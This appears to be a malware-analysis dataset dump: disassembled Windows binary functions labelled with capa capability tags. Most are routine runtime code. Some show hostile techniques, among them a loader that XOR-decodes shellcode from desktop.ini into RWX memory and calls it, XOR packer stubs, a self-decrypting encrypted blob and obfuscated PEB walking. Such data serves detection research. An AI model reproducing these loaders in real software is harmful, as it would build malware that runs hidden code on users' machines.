joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e018
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call fcn.0041441c
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call fcn.0041441c
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort

Function at 0x40ebec
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40ec0b
mov eax, 0
jmp 0x40ec4f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40ec2e
mov eax, 0
jmp 0x40ec4f
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x40ec4a
mov eax, 0
jmp 0x40ec4f
mov eax, 1
leave
ret

Function at 0x40ec51
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x40ecb0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x40eca8
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x40eca8
mov eax, dword [ebp - 4]
jmp 0x40ecc4
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x40ec85
mov eax, 0
leave
ret
Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401dd0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407048
call sym._EnterCriticalSection_4
mov ebx, dword [0x407040]
sub esp, 4
test ebx, ebx
je 0x401e1b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401e14
test esi, esi
je 0x401e14
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401df0
mov dword [esp], 0x407048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402000
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402050
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402128
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40208e
cmp eax, 4
jne 0x4020b0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40209e
cmp edx, 4
je 0x40209e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402000

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x406810
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0
mov eax, dword [0x46c19c]
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 0xd547765b
mov eax, dword [ebp - 0x10]
mov ecx, eax
sub ecx, 0x718d20a5
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
jg 0x40688a
jmp 0x406848
mov eax, dword [ebp - 0x14]
sub eax, 0x87065716
mov dword [ebp - 0x1c], eax
je 0x4068d7
jmp 0x40685e
mov eax, dword [ebp - 0x14]
sub eax, 0xc0459364
mov dword [ebp - 0x20], eax
je 0x406903
jmp 0x406874
mov eax, dword [ebp - 0x14]
sub eax, 0xd547765b
mov dword [ebp - 0x24], eax
je 0x4068a5
jmp 0x4068a0
mov eax, dword [ebp - 0x14]
sub eax, 0x718d20a6
mov dword [ebp - 0x28], eax
je 0x4068c3
jmp 0x4068a0
jmp 0x40690b
mov eax, 0x87065716
mov ecx, 0x718d20a6
mov edx, dword [ebp - 4]
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x10], eax
jmp 0x40690b
mov eax, dword [0x46c19c]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0xc0459364
jmp 0x40690b
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [0x46c19c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0xc0459364
jmp 0x40690b
mov eax, dword [ebp - 8]
add esp, 0x28
pop ebp
ret
jmp 0x40682c
Function at 0x443b5a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x46ba30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0044200a
mov dword [ebp - 0x14], eax
cmp dword [0x46d1dc], edi
jne 0x443c4b
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x443bd8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x443d2b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x443d2b
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x443d2b
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x46d1dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x46d1e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x46d1e4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x46d1ec], eax
test eax, eax
je 0x443c48
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x46d1e8], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x443c70
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x443c63
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x443c85
push 4
pop eax
jmp 0x443d2d
cmp dword [ebp - 0x14], edi
je 0x443c85
push dword [0x46d1dc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x443c6a
mov eax, dword [0x46d1e8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x443ce3
cmp dword [0x46d1ec], esi
je 0x443ce3
push eax
call ebx
push dword [0x46d1ec]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x443ce3
test eax, eax
je 0x443ce3
call ecx
test eax, eax
je 0x443cd8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x443cd8
test byte [ebp - 8], 1
jne 0x443ce3
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x443d13
mov eax, dword [0x46d1e0]
cmp eax, esi
je 0x443d10
push eax
call ebx
test eax, eax
je 0x443d10
call eax
mov edi, eax
test edi, edi
je 0x443d10
mov eax, dword [0x46d1e4]
cmp eax, esi
je 0x443d10
push eax
call ebx
test eax, eax
je 0x443d10
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x46d1dc]
call ebx
test eax, eax
je 0x443d2b
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x443d2d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00443d3c
leave
ret
Function at 0x401090
Capabilities:
Hide graphical window

Disassembly:
mov ebp, esp
push esi
lea eax, [0x4032bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov eax, dword [ebp + 4]
mov dword [0x40316b], eax
xor eax, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x4010bd
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x40316b]
mov dword [ebp - 0x48], eax
mov eax, 0x40232a
mov dword [ebp - 0x54], eax
mov ecx, str.secondclass
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0
push 0
push str.Riched32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor ecx, ecx
push ecx
push dword [0x40316b]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.bananas
push eax
mov eax, str.secondclass
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403318], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403318]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x40117b
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x40116d
mov esp, ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x76fa3dd1
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..rsrc
nop
nop
nop
cmp eax, 0
nop
je 0x42e0d2
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x4181734
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x103ad55c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x103ad566
pushal
call 0x103ad56c
pop ebp
sub ebp, 0x10
sub ebp, 0x3ad55c
mov al, byte [esp + 0x28]
cmp al, 1
je 0x103ad590
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x103ad599
mov eax, 0x3ad55c
add eax, ebp
add eax, 0x63
mov ecx, 0x601
mov edx, 0xf6dada18
xor byte [eax], dl
inc eax
dec ecx
jne 0x103ad5b0
jmp 0x103ad5c3
xchg ebx, eax
aad 0x93
xchg ecx, eax
and al, 0x18
sbb byte [eax], bl
cdq
fchs
sbb byte [eax], bl
sbb byte [ebx], bl
aad 0xa0
push ds
sbb byte [eax], bl
sbb byte [edx + 0x18181830], ah
out dx, eax
cli
sbb edx, eax
xchg ebx, eax
cdq
adc al, 0x18
sbb byte [eax], bl
sbb ebx, ebp
xchg ebp, eax
jl 0x103ad628
in al, 0x91
sbb al, 0x3c
dec eax
jo 0x103ad603
mov ch, 0x16
sbb byte [eax + 0x4b], dh
xor byte [eax + ebx], dh
sbb dword [esp + edi], esi
jo 0x103ad67f
imul esi, dword [ebx + 0x181df099], 0x18
sbb cl, dh
xor bl, byte [eax]
sbb byte [eax], bl
dec ebp
xchg ebp, eax
je 0x103ad64d
invalid
sbb byte [ebx + 0x1818109d], dl
sbb byte [ebx + 0x1818148d], dl
sbb byte [ebx + 0x18180895], dl
sbb cl, bl
int1
sbb ch, byte [ecx]
sbb bl, byte [ebx + 0x17511cda]
popfd
in al, dx
out 0xe7, eax
out 0x45, eax
ficom dword [eax + ebx]
xchg ebx, eax
xchg esp, eax
cmp al, 0x1c
sbb byte [eax], bl
sbb byte [eax + 0x10], dh
mov ch, 0x16
sbb byte [eax + 0x4b], dh
xor byte [eax + ebx], dh
sbb dword [esp + edi], esi
xchg ebp, eax
jl 0x103ad68a
cmp al, 0xe4
xchg ecx, eax
in al, 0x91
adc al, 0x3c
invalid
rcr dword [ecx + 0x5d3663ea], 1
dec esp
cdq
ljmp 0xca2b
pop ebp
dec esp
sub ecx, edx
wait
invalid
Function at 0x401000
Capabilities:
Get common file path
Read file on windows
Terminate process

Disassembly:
push esi
push edi
mov edi, 0x104
mov esi, 0x4036e4
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, edi
ja 0x40105a
test eax, eax
je 0x40105a
mov edi, dword [sym.imp.MSVCRT.dll_wcscat]
push ebx
push esi
mov esi, 0x4032e4
push esi
call edi
push str._sal.exe
push esi
call edi
mov edi, dword [sym.imp.MSVCRT.dll__wcslwr]
push esi
call edi
mov ebx, 0x4030e4
push ebx
call edi
push esi
push ebx
call dword [sym.imp.MSVCRT.dll_wcscmp]
add esp, 0x20
neg eax
sbb al, al
pop ebx
pop edi
inc al
pop esi
ret
push 0
call dword [sym.imp.MSVCRT.dll_exit]

Function at 0x401062
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push ebp
push 0x403064
push dword [eax]
call dword [sym.imp.MSVCRT.dll__wfopen]
mov ebp, eax
pop ecx
test ebp, ebp
pop ecx
jne 0x40107e
pop ebp
ret
push ebx
push esi
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push 0xfffffffffffffffc
push ebp
call esi
add esp, 0xc
test eax, eax
je 0x40109b
xor esi, esi
jmp 0x40113a
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push ebp
push 4
push 1
push 0x403ce0
call ebx
add esp, 0x10
cmp eax, 4
jne 0x401094
push 2
push 0xfffffffffffffffe
pop eax
sub eax, dword [0x403ce0]
shl eax, 1
push eax
push ebp
call esi
add esp, 0xc
test eax, eax
jne 0x401094
push edi
push 0x100
mov edi, 0x4032e4
push eax
push edi
call sub.MSVCRT.dll_memset
push 0x1f4
mov esi, 0x4038f8
push 0
push esi
call sub.MSVCRT.dll_memset
mov eax, dword [0x403ce0]
push ebp
add eax, eax
push eax
push 1
push edi
call ebx
mov eax, dword [esp + 0x3c]
add esp, 0x28
cmp eax, 1
jle 0x401136
mov ecx, dword [esp + 0x18]
mov ebx, dword [sym.imp.MSVCRT.dll_wcscat]
dec eax
lea edi, [ecx + 4]
mov dword [esp + 0x18], eax
push 0x403060
push esi
call ebx
push dword [edi]
push esi
call ebx
add esp, 0x10
add edi, 4
dec dword [esp + 0x18]
jne 0x40111d
push 1
pop esi
pop edi
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
mov eax, esi
pop esi
pop ebx
pop ebp
ret
Function at 0x401148
Capabilities:
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1394
call fcn.004016e0
and dword [ebp - 8], 0
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_wcslen]
mov esi, dword [sym.imp.MSVCRT.dll__wfopen]
mov dword [esp], 0x403064
push dword [ebp + 8]
mov dword [0x403ce0], eax
call esi
mov edi, eax
pop ecx
test edi, edi
pop ecx
mov dword [ebp - 0xc], edi
je 0x40121c
push 0x40306c
push dword [ebp + 0xc]
call esi
pop ecx
mov dword [ebp - 4], eax
test eax, eax
pop ecx
jne 0x4011a7
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
jmp 0x40121c
push ebx
mov ebx, 0x1388
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fread]
push ebx
lea eax, [ebp - 0x1394]
push 1
push eax
call edi
mov esi, dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
test eax, eax
je 0x4011f5
push dword [ebp - 4]
add dword [ebp - 8], eax
push eax
lea eax, [ebp - 0x1394]
push 1
push eax
call esi
push dword [ebp - 0xc]
lea eax, [ebp - 0x1394]
push ebx
push 1
push eax
call edi
add esp, 0x20
test eax, eax
jne 0x4011cd
mov eax, dword [ebp - 8]
pop ebx
cmp eax, dword [0x4030d4]
je 0x401220
push dword [ebp - 0xc]
mov esi, dword [sym.imp.MSVCRT.dll_fclose]
call esi
push dword [ebp - 4]
call esi
pop ecx
pop ecx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
jmp 0x40125b
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_wcslen]
pop ecx
shl eax, 1
push eax
push 1
push dword [ebp + 8]
call esi
push dword [ebp - 4]
push 4
push 1
push 0x403ce0
call esi
push dword [ebp - 0xc]
mov esi, dword [sym.imp.MSVCRT.dll_fclose]
call esi
push dword [ebp - 4]
call esi
add esp, 0x28
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0x4015cf
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebx
push ebp
push esi
mov ebx, dword [sym.imp.MSVCRT.dll_wcsncpy]
push edi
mov edi, dword [esp + 0x18]
push 0x100
mov esi, 0x4030e4
push dword [edi]
push esi
call ebx
push 0x4030c0
push esi
call dword [sym.imp.MSVCRT.dll__wstat]
add esp, 0x14
call fcn.00401000
test al, al
jne 0x401668
push 0x4032e4
push esi
jmp loc.00408000
push edi
xor ebp, ebp
push dword [esp + 0x18]
mov word [0x4032e4], bp
call fcn.00401062
pop ecx
test eax, eax
pop ecx
je 0x4016cc
push 0x104
mov esi, 0x4034e4
push 0x4036e4
push esi
call ebx
push str._notepod.exe
push esi
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 0x14
jmp loc.00408723
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x40170f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402088
push 0x401850
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x403cf8], 0xffffffff
or dword [0x403cfc], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x403cf4]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x403cf0]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x403d00], eax
call fcn.00401841
cmp dword [0x4030b0], 0
jne 0x401792
push 0x40183e
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.0040182c
push 0x40300c
push 0x403008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x403cec]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x403ce8]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___wgetmainargs]
push 0x403004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___winitenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.004015cf
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret